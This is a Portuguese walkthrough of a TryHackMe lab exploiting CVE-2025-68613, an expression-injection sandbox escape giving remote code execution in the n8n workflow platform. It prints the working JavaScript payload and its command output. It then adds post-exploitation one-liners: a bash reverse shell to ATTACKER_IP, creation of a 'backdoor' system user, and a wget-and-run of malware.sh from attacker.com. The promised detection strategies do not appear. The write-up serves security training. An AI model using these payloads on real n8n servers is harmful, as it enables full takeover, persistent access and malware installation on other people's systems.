
Walkthrough educacional para explorar CVE-2025-68613, um RCE crítico no n8n de automação de workflows. Abrange injeção de expressão, escape de sandbox, desenvolvimento de payload e estratégias de detecção através de um laboratório TryHackMe.
Este repositório documenta uma exploração prática do CVE-2025-68613 (CVSS 9.9), uma vulnerabilidade crítica de Execução Remota de Código que afeta a plataforma de automação de fluxo de trabalho n8n (versões 0.211.0 a 1.120.3).
Esta exploração foi realizada eticamente em um ambiente controlado de laboratório TryHackMe apenas para fins educacionais.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-68613 |
| Pontuação CVSS | 9.9 (Crítico) |
| Publicado | 19 de dezembro de 2025 |
| Produto Afetado | Plataforma de Automação de Fluxo de Trabalho n8n |
| Tipo de Vulnerabilidade | Injeção de Expressão → Escape de Sandbox → RCE |
| Vetor de Ataque | Usuário Autenticado (Padrão) |
| Versões Corrigidas | 1.120.4, 1.121.1, 1.122.0+ |
| Versões Afetadas | 0.211.0 - 1.120.3 |
n8n é uma plataforma de automação de fluxo de trabalho de código aberto que permite aos usuários conectar visualmente aplicativos e serviços para automatizar tarefas. Ela apresenta:
{{ }} avaliadas como JavaScriptA vulnerabilidade reside no sistema de avaliação de expressões de fluxo de trabalho do n8n. Quando usuários autenticados configuram fluxos de trabalho, suas entradas são processadas como código JavaScript sem sandboxing adequado.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }} são avaliadas como JavaScript bruto sem isolamento de contexto adequadothis permite escapar das restrições pretendidas do sandboxprocess.mainModule.require() fornece acesso ao sistema de módulos do Node.jschild_process para execução de comandos do sistema(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explicação:
this → Objeto global do Node.jsthis.process → Objeto de processo do Node.jsprocess.mainModule → Módulo raiz da aplicação n8n.require('child_process') → Carrega o módulo de execução de comandos do sistema.execSync('COMMAND') → Executa comando shell de forma síncrona.toString() → Converte a saída do Buffer em string legívelAcesse a instância vulnerável do n8n e faça login com credenciais válidas.
Credenciais do Laboratório:
[email protected]Try12345!
Após o login, você é apresentado à interface de criação de fluxo de trabalho. Clique em "Começar do zero" para iniciar um novo fluxo de trabalho.

Clique em "Adicionar primeiro passo" e procure por "Gatilho Manual". Este nó serve como ponto de entrada para a execução do fluxo de trabalho.

Propósito: O nó Gatilho Manual permite a execução manual do fluxo de trabalho através do botão "Executar fluxo de trabalho" na interface, tornando-o ideal para testes.
Adicione um nó "Editar Campos" para realizar o mapeamento de campos. É aqui que a vulnerabilidade é explorada.

Passos de Configuração:
Injete o payload para executar o comando id e recuperar informações do usuário/privilégios.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Resultado:
uid=1000(node) gid=1000(node) groups=1000(node)

Informações Coletadas:
Modifique o payload para executar o comando ls e listar o conteúdo do diretório.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Saída Mostra:
flag.txtLeia o arquivo de flag usando o comando cat para completar a exploração.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag Recuperada:
THM{n8n_exposed_workflow}

Estabeleça acesso interativo ao shell para controle persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Adicione um novo usuário do sistema para acesso persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Busque e execute código remoto:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Verifique privilégios sudo:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()